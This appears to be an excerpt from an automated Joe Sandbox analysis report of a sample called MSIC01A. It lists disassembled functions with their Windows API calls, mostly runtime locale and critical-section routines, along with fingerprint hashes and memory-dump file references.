GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00F6E4DE

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d0f5d1fe97232f106c09e6d531da2e9b47e1835439e6b3c933215d3e0fedec95
Instruction ID: a958949e8646f068c7819cd6229c7a4ce1b5d1d4b308a7f39312b0ace3e6a7e3
Opcode Fuzzy Hash: d0f5d1fe97232f106c09e6d531da2e9b47e1835439e6b3c933215d3e0fedec95
Instruction Fuzzy Hash: F921C577A14206ABDB28AF25DC41ABA73ACEF04724F140079FD06D6141FB74DD05E750

Uniqueness

Uniqueness Score: -1.00%

Function 00F6E111 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F657CC: GetLastError.KERNEL32(?,00000008,00F6AD4C), ref: 00F657D0
Part of subcall function 00F657CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00F65872

EnumSystemLocalesW.KERNEL32(00F6E237,00000001,00000000,?,-00000050,?,00F6E868,00000000,?,?,?,00000055,?), ref: 00F6E183

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9d8a0bff87e240db03cca5d82f9c7734f0c3b3d98d47f35b79758a5fdaf5d913
Instruction ID: 0725f266e5740cd23ed78a6e01089d939ee25f08ad0ee529f78133f39418f580
Opcode Fuzzy Hash: 9d8a0bff87e240db03cca5d82f9c7734f0c3b3d98d47f35b79758a5fdaf5d913
Instruction Fuzzy Hash: DD11293F6007059FDB189F38C8A15BAB792FF80729B15442DE54647A40D371B942EB40

Uniqueness

Uniqueness Score: -1.00%

Function 00F6E6B9 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00F657CC: GetLastError.KERNEL32(?,00000008,00F6AD4C), ref: 00F657D0
Part of subcall function 00F657CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00F65872

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00F6E453,00000000,00000000,?), ref: 00F6E6E5

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 3c3fc30aa3c5cc7f520808129093d1307a7ed813101723cabb5eea06486d52a6
Instruction ID: f409b08327f107384aff5b889fb5fb38dfa1bfad7bcebb25f6a5104a109fd665
Opcode Fuzzy Hash: 3c3fc30aa3c5cc7f520808129093d1307a7ed813101723cabb5eea06486d52a6
Instruction Fuzzy Hash: 87F0CD3BE00216BFDB285B65CD09BFA7768EB40764F150434EC25A3180EA74FD41E690

Uniqueness

Uniqueness Score: -1.00%

Function 00F6E1AC Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F657CC: GetLastError.KERNEL32(?,00000008,00F6AD4C), ref: 00F657D0
Part of subcall function 00F657CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00F65872

EnumSystemLocalesW.KERNEL32(00F6E48A,00000001,?,?,-00000050,?,00F6E82C,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00F6E1F6

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 124c27885cbb933f6d0b6f07904401e5df9ea11c4c8116ef4825dd9ad3f0e001
Instruction ID: 565baff672d582cdd84a9d114cb362f309eb838ecf6fa59a3f6aba56e52de293
Opcode Fuzzy Hash: 124c27885cbb933f6d0b6f07904401e5df9ea11c4c8116ef4825dd9ad3f0e001
Instruction Fuzzy Hash: EDF0463B6003085FCB246F348C85A7A7BA5EF81B28F04442CF9058BA80C6B19C42EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F67132 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F61C9A: EnterCriticalSection.KERNEL32(-00F8DE50,?,00F63576,?,00F8A078,0000000C,00F63841,?), ref: 00F61CA9

EnumSystemLocalesW.KERNEL32(00F67125,00000001,00F8A1D8,0000000C,00F67554,00000000), ref: 00F6716A

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 1cc31c5de00269435824bb70e42b7305ae2be7675923531357c2cbe3ec41fb22
Instruction ID: 56841a6575aaa74c74a539b30b4963ddbf895556ee2bf8ff2c5af5ad54bf6ea4
Opcode Fuzzy Hash: 1cc31c5de00269435824bb70e42b7305ae2be7675923531357c2cbe3ec41fb22
Instruction Fuzzy Hash: BFF06D72A54304DFDB00EF98E846BAC7BF0FB49725F00456AF514DB2A0DB798940AF51

Uniqueness

Uniqueness Score: -1.00%

Function 00F6E0C6 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F657CC: GetLastError.KERNEL32(?,00000008,00F6AD4C), ref: 00F657D0
Part of subcall function 00F657CC: SetLastError.KERNEL32(00000000,00000000,00000006,000000FF), ref: 00F65872

EnumSystemLocalesW.KERNEL32(00F6E01F,00000001,?,?,?,00F6E88A,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00F6E0FD

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 15af00a1e83d87e45ce5d82138f5d822c7ee3ae8958231daf486d2ecf762b566
Instruction ID: d3564c6e7a90e1cf378ff7dcd12896b555dcb7049e909a6de98a7235ef2985e5
Opcode Fuzzy Hash: 15af00a1e83d87e45ce5d82138f5d822c7ee3ae8958231daf486d2ecf762b566
Instruction Fuzzy Hash: 09F02B3F700309ABCB04AF35DC4566A7F95EFC1B60F06406CEA098F651C6B5D882EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F523F8 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,00000022,00000000,00000002,?,?,00F500E2,00000000,00000000,00000004,00F4ED14,00000000,00000004,00F4F127,00000000,00000000), ref: 00F52410

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 5ba443001a0ac2d42cf5b9ffd2681b2e74b2ea3121636da5328abaf04e374427
Instruction ID: 9c0e8601ae8129d8dc2c47885a8a416ae76def8581ab28156a3b743d35a307f3
Opcode Fuzzy Hash: 5ba443001a0ac2d42cf5b9ffd2681b2e74b2ea3121636da5328abaf04e374427
Instruction Fuzzy Hash: DAE0D832A54104BAD755DBB89E0FFBA7698E70271BF504251EE02D40D2DBA1CA44B161

Uniqueness

Uniqueness Score: -1.00%

Function 00F676AF Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00F64E3F,?,20001004,00000000,00000002,?,?,00F64441), ref: 00F676E3

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 1d3d8ac90d032a073557c3c499d326061425b30c9a4732bc9df638043160e278
Instruction ID: fa076f4e7b6642d4c5ef8aa99a6246f8958daf76d1a1181ef8979bf2e79e24d3
Opcode Fuzzy Hash: 1d3d8ac90d032a073557c3c499d326061425b30c9a4732bc9df638043160e278
Instruction Fuzzy Hash: 8CE01A3250871CBBCB123F61DC08AAE7A26AF44764F104020FC05661218B768960BB96

Uniqueness

Uniqueness Score: -1.00%

Function 00F5353F Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002354B,00F53077), ref: 00F53544

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 33d7c7315265152b31a92f2edc54996a9b8a9848681d2394080f0b37e6e181cf
Instruction ID: da9ef283c558d65ddf61a4fbe9c234be2727f83e79a584af42823740d934047a
Opcode Fuzzy Hash: 33d7c7315265152b31a92f2edc54996a9b8a9848681d2394080f0b37e6e181cf
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00F32310 Relevance: 1.3, APIs: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F52C98: EnterCriticalSection.KERNEL32(00F8DD3C,?,?,?,00F323B6,00F8E638,72A902E8,?,?,00F73D6D,000000FF), ref: 00F52CA3
Part of subcall function 00F52C98: LeaveCriticalSection.KERNEL32(00F8DD3C,?,?,?,00F323B6,00F8E638,72A902E8,?,?,00F73D6D,000000FF), ref: 00F52CE0

GetProcessHeap.KERNEL32 ref: 00F32365

Part of subcall function 00F52C4E: EnterCriticalSection.KERNEL32(00F8DD3C,?,?,00F32427,00F8E638,00F76B40), ref: 00F52C58
Part of subcall function 00F52C4E: LeaveCriticalSection.KERNEL32(00F8DD3C,?,?,00F32427,00F8E638,00F76B40), ref: 00F52C8B
Part of subcall function 00F52C4E: RtlWakeAllConditionVariable.NTDLL ref: 00F52D02

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionHeapProcessVariableWake
String ID:
API String ID: 325507722-0
Opcode ID: 0f4a5755ceda792a179dba776555fea6a576d226ade611dadbb51f4a51d1e04f
Instruction ID: 0175c21f1521afc46fef7a891b76c4d6c3851a247717a518ba1c700a50ee0129
Opcode Fuzzy Hash: 0f4a5755ceda792a179dba776555fea6a576d226ade611dadbb51f4a51d1e04f
Instruction Fuzzy Hash: AD219CB0921608DBD350EF58EC05BE977B0EB36324F004319E825972E1F3756808BB52

Uniqueness

Uniqueness Score: -1.00%

Function 00F60A48 Relevance: .7, Instructions: 655COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: c8be701706672502347744ee385a29e4b982556497efb68b5e76dd04359ca494
Instruction ID: f5e1b77563629a4f9031f04cc2c7aa6ca7a058f5cc454c1f3c89c179755d7e2d
Opcode Fuzzy Hash: c8be701706672502347744ee385a29e4b982556497efb68b5e76dd04359ca494
Instruction Fuzzy Hash: 8E32AC34E0021ADFCF28CF98C991ABEB7B5EF55314F284169DD45A7305DA32AE46DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00F692A9 Relevance: .6, Instructions: 637COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c80f69da2586a31788134cf1d1ff637f39bf68e53c2c04abeb3e4c3a423148f
Instruction ID: b7b6568724645beba5fba9c8eadae0439f59ac61d9fed8c609fd2d85b1a33cfd
Opcode Fuzzy Hash: 7c80f69da2586a31788134cf1d1ff637f39bf68e53c2c04abeb3e4c3a423148f
Instruction Fuzzy Hash: 0D32F122D29F454DD7239634CC62379A28CEFB73D4F15D727E81AB5AA9EB3884C36101

Uniqueness

Uniqueness Score: -1.00%

Function 00F5A915 Relevance: .4, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56f70f2eaafb2dd7f169aff675c4dc991a46e332bd82c4e4c88ac1b37ebf8247
Instruction ID: 7f33276c634c95cd9529e5da94a5b3bfe0334d2c7ea9d3ce26b9bed6bbddf0c6
Opcode Fuzzy Hash: 56f70f2eaafb2dd7f169aff675c4dc991a46e332bd82c4e4c88ac1b37ebf8247
Instruction Fuzzy Hash: F2E1EE30A00605CFCB24CF28C580A7AB7F1FF49322B244749DE569B690D734ED5AEB52

Uniqueness

Uniqueness Score: -1.00%

Function 00F6D8D5 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 5c7f566d3d428003e1b64b9f3f1be23ae621736ad2d768a1532083a5e92b84f2
Instruction ID: 9c9fdc2d181d570a80fb09e32ee220c078b45ddf3d2aca4e5912a391cf2d6f1e
Opcode Fuzzy Hash: 5c7f566d3d428003e1b64b9f3f1be23ae621736ad2d768a1532083a5e92b84f2
Instruction Fuzzy Hash: E3B10675E007458BDB38EF24CC92BB7B3A8EF44318F14452DEA82C6585EB79E945EB10

Uniqueness

Uniqueness Score: -1.00%

Function 00F5C2CA Relevance: .2, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d45df35f10881d6221681adf7eefdf880ea19ec113d03b89221ba79bb02f15a8
Instruction ID: 7b4fcd279e828142535c6e40a837bff6785e1603005d0d0fc1048e4baaa3a28b
Opcode Fuzzy Hash: d45df35f10881d6221681adf7eefdf880ea19ec113d03b89221ba79bb02f15a8
Instruction Fuzzy Hash: BD517472E00219EFDF14CF99C951AEEBBB1EF88310F19C069E915AB201C7349E54DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F54920 Relevance: .1, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 82a0b954b46c12b2a655464e25e4914ec426bd216faa725636215b3dc27fcbd2
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 3F113F7760404143D604C52DC4BA5B7E395DBC633F72D4365CA914BF55D222B9CCB600

Uniqueness

Uniqueness Score: -1.00%

Function 00F6AD78 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction ID: 3dd350b22b103c57bf792065a4dabbc0cca527d159e15485bc0391bfd6858d78
Opcode Fuzzy Hash: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction Fuzzy Hash: B5E08C72911238EBCB14DB98CA0498AF3ECEB84B11B15049AF601E3500D674DE00EBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00F62DCC Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3db29eff45ca403c5659c65b9b04778331e453842759ddf3eba89ef405327b8
Instruction ID: 6e6e81255933d14ce5f632bb1196945cc361f761b642dea8321d157097e9ba09
Opcode Fuzzy Hash: b3db29eff45ca403c5659c65b9b04778331e453842759ddf3eba89ef405327b8
Instruction Fuzzy Hash: C6C08C34400F0046CE2989108EB13A83354B791792F80058CC4430BA86C51EAC83FA01

Uniqueness

Uniqueness Score: -1.00%

Function 00F50116 Relevance: 30.3, APIs: 20, Instructions: 287COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F5011D
collate.LIBCPMT ref: 00F50126

Part of subcall function 00F4EDF2: __EH_prolog3_GS.LIBCMT ref: 00F4EDF9
Part of subcall function 00F4EDF2: __Getcoll.LIBCPMT ref: 00F4EE5D

__Getcoll.LIBCPMT ref: 00F5016C
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F50180
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F50195
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F501D3
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F501E6
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F5022C
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F50260
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F5031B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F5032E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F5034B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F50368
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F50385
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F502BD

Part of subcall function 00F38C20: std::_Lockit::_Lockit.LIBCPMT ref: 00F38C50
Part of subcall function 00F38C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00F38C78

numpunct.LIBCPMT ref: 00F503C4
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F503D4
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F50418

Part of subcall function 00F36330: LocalAlloc.KERNEL32(00000040,?,00F40E04,00000020,?,?,00F39942,00000000,72A902E8,?,?,?,?,00F750DD,000000FF), ref: 00F36336

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F5042B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00F50448

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: AddfacLocimp::_Locimp_std::locale::_$GetcollLockitstd::_$AllocH_prolog3H_prolog3_LocalLockit::_Lockit::~_collatenumpunct
String ID:
API String ID: 3717464618-0
Opcode ID: 6e77e970c2613771671f229a03f8fbb4093420540f53e6d14ee3edb759d457b9
Instruction ID: aa78346c2aa716e0a0439680fd1444c1d8fc99038c2461ebf04396bd0b60ef30
Opcode Fuzzy Hash: 6e77e970c2613771671f229a03f8fbb4093420540f53e6d14ee3edb759d457b9
Instruction Fuzzy Hash: F191B671D012116BEB207BB44C46BBF7AA8EF417B1F108429FD4DA7282DE784905B7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00F36600 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 319filememoryCOMMON

